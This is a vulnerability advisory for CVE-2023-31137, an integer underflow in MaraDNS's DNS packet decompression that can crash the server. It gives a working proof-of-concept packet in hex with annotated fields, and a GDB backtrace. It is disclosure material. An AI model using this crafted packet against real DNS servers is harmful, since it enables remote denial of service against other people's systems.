Integer Underflow Vulnerability in MaraDNS's DNS Packet Decompression

May 9, 2023

CVE Number

CVE-2023-31137

Credits

Huascar Tejeda of Pentraze Cybersecurity

Summary

A remotely exploitable Integer Underflow (CWE-191) vulnerability has been identified in MaraDNS version 3.5.0024 and prior. This issue resides in the DNS packet decompression function, allowing an attacker to trigger a Denial of Service (DoS) through abnormal program termination.

CVSS

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Details

An Integer Underflow vulnerability exists in the decomp_get_rddata function within the Decompress.c file of MaraDNS up to version 3.5.0024. The vulnerability is triggered when processing a DNS packet that includes an Answer Resource Record (RR) of qtype 16 (TXT record) with any qclass. Specifically, if the rdlength is smaller than rdata, the computation at Decompress.c:886 results in a negative number, len = rdlength - total;. This erroneous value is subsequently used in the decomp_append_bytes function without adequate validation, prompting the system to attempt allocating an unmanageably large memory segment. As a result, the application terminates unexpectedly with an error code of 64, leading to a Denial of Service.

PoC

To reproduce the vulnerability, an attacker can craft a malformed DNS packet with the following payload:


00000000  05 39 81 a0 00 00 00 01  00 00 00 00 00 00 10 00  |.9..............|
00000010  01 00 00 01 2c 00 00 07  68 74 65 6a 65 64 61     |....,...htejeda|

05 39 # Transaction ID
81 a0 # Flags
00 00 # QDCount
00 01 # ANCount
00 00 # NSCount
00 00 # ARCount

00    # Invalid qname. Using a valid name or "\xc0\x0c" also works.
00 10 # Qtype 16  (TXT Record)
00 01 # Class 1   (NS)
00 00 01 2c # TTL (300)
00 00 # RDlen
07 68 74 65 6a 65 64 61 #RData "htejeda\x00"
  1. rlength = 0 and rdata = -8. The arithmetic operation in decomp_get_rddata assigns -8 to len and calls decomp_append_bytes().
  2. decomp_append_bytes() calls js_create(), which converts len to unsigned int (4294967290) and passes it as max_count
  3. js_create() calls js_alloc() with max_count + 3, which is implicitly converted back to -3.
  4. js_alloc() calls malloc(-3), which is implicitly converted to 18446744073709551613 on a 64-bit system (UINT64_MAX + 1 + (-3)).

GDB Backtrace

malloc(-3)  // unit_count int(-3) * unit_size int(1)
[+] Heap-Analysis - __libc_malloc(18446744073709551613)=0x0
Aieeeeee, can not allocate memory (increase max_mem maybe?)![Inferior 1 (process 3149758) exited with code 0100]

(gdb) bt
#0  0x00007ffff7c455f4 in __GI_exit (status=0x40) at ./stdlib/exit.c:142
#1  0x000055555555e1a6 in js_alloc
#2  0x000055555555cb29 in js_create ()
#3  0x0000555555565bc6 in decomp_append_bytes ()
#4  0x0000555555566462 in decomp_get_rddata ()
#5  0x0000555555566650 in decomp_decompress_packet ()
#6  0x0000000000420828 in decompress_data ()
#7  0x000000000040ce65 in main

#0  0x00007ffff7c455f4 in __GI_exit (status=0x40) at ./stdlib/exit.c:142

#1  0x00005555555611d9 in js_alloc (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
                        63: void js_alloc(unit_count = (int)-3, unit_size = (int)1) {
                       |||:
                       127:            the best thing to do is exit then and there */
                       128:         printf("Aieeeeee, can not allocate memory (increase max_mem maybe?)!");
                       129:         exit(64);
                       |||:
                       ---: }
                       at JsStrOS.c:129

#2  0x000055555555f526 in js_create (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
                       20: js_string js_create(max_count = (unsigned int)4294967290, unit_size = (unsigned int)1) {
                       ||:
                       ||: /* Local reference: js_string * new = 0x5555558ab810; */
                       ||: /* Local reference: unsigned int max_count = 4294967290; */
                       ||: /* Local reference: unsigned int unit_size = 1; */
                       32:     /* Allocate memory for character string, return on error */
                       33:     /* The 3 is a security margin */
                       34:     if((new->string = js_alloc(max_count + 3,unit_size)) == (void *)0) {
                       ||:
                       --: }
                       at JsStr.c:34

#3  0x000055555556d0ae in decomp_append_bytes (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
                       271: int decomp_append_bytes(compressed = (js_string *)0x5555558a0700, uncompressed = (js_string *)0x5555558a8ee0, compresse
d_offset = (unsigned int)54, length = (int)-8) {
                       |||:
                       |||: /* Local reference: js_string * temp = 0x5555558ab810; */
                       |||: /* Local reference: int length = -8; */
                       273:
                       274:     js_string *temp;
                       275:     if((temp = js_create(length + 2,1)) == 0) {
                       |||:
                       ---: }
                       at Decompress.c:275

#4  0x000055555556dc6d in decomp_get_rddata (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
                       823: int decomp_get_rddata(compressed = (js_string *)0x5555558a0700, out = (js_string *)0x5555558a8ee0, compressed_offset =
(unsigned int)54, type = (int)16, rdlength = (int)0) {
                       |||:
                       |||: /* Local reference: js_string * compressed = 0x5555558a0700; */
                       |||: /* Local reference: js_string * out = 0x5555558a8ee0; */
                       888:                     break;
                       889:                     }
                       890:                 if(decomp_append_bytes(compressed,out,
                       |||:
                       ---: }
                       at Decompress.c:890

#5  0x000055555556deee in decomp_decompress_packet (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
                        934: int decomp_decompress_packet(compressed = (js_string *)0x5555558a0700, uncompressed = (js_string *)0x5555558a0a40) {
                       ||||:
                       ||||: /* Local reference: js_string * rddata = 0x5555558a8ee0; */
                       ||||: /* Local reference: int offset = 46; */
                       ||||: /* Local reference: int type = 16; */
                       ||||: /* Local reference: int rdlength = 0; */
                       ||||: /* Local reference: js_string * compressed = 0x5555558a0700; */
                       1010:         /* Hack: zero out the rddata string */
                       1011:         rddata->unit_count = 0;
                       1012:         if(decomp_get_rddata(compressed,rddata,offset,type,rdlength)
                       ||||:
                       ----: }
                       at Decompress.c:1012

#6 0x000055555556e000 in decompress_data (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
                       1050: int decompress_data(compressed = (js_string *)0x5555558a0700, uncompressed = (js_string *)0x5555558a0a40) {
                       ||||:
                       ||||: /* Local reference: js_string * compressed = 0x5555558a0700; */
                       ||||: /* Local reference: js_string * uncompressed = 0x5555558a0a40; */
                       1062:         }
                       1063:     else {
                       1064:         return decomp_decompress_packet(compressed,uncompressed);
                       ||||:
                       ----: }
                       at Decompress.c:1064

#7 0x000055555555f27c in main (/home/htejeda/MaraDNS-3.5.0035/server/maradns)
                       3789: int main(argc = (int)3, argv = (char **)0x7fffffffe008) {
                       ||||:
                       ||||: /* Local reference: js_string * incoming = 0x5555558a0700; */
                       ||||: /* Local reference: js_string * uncomp = 0x5555558a0a40; */
                       4679:         if(log_level >= 3)
                       4680:             mlog(L_GOTDATA);     /* "Message received, processing" */
                       4681:         if(decompress_data(incoming,uncomp) == JS_ERROR) {
                       ||||:
                       ----: }
                       at MaraDNS.c:4681

¿Ver el sitio en español?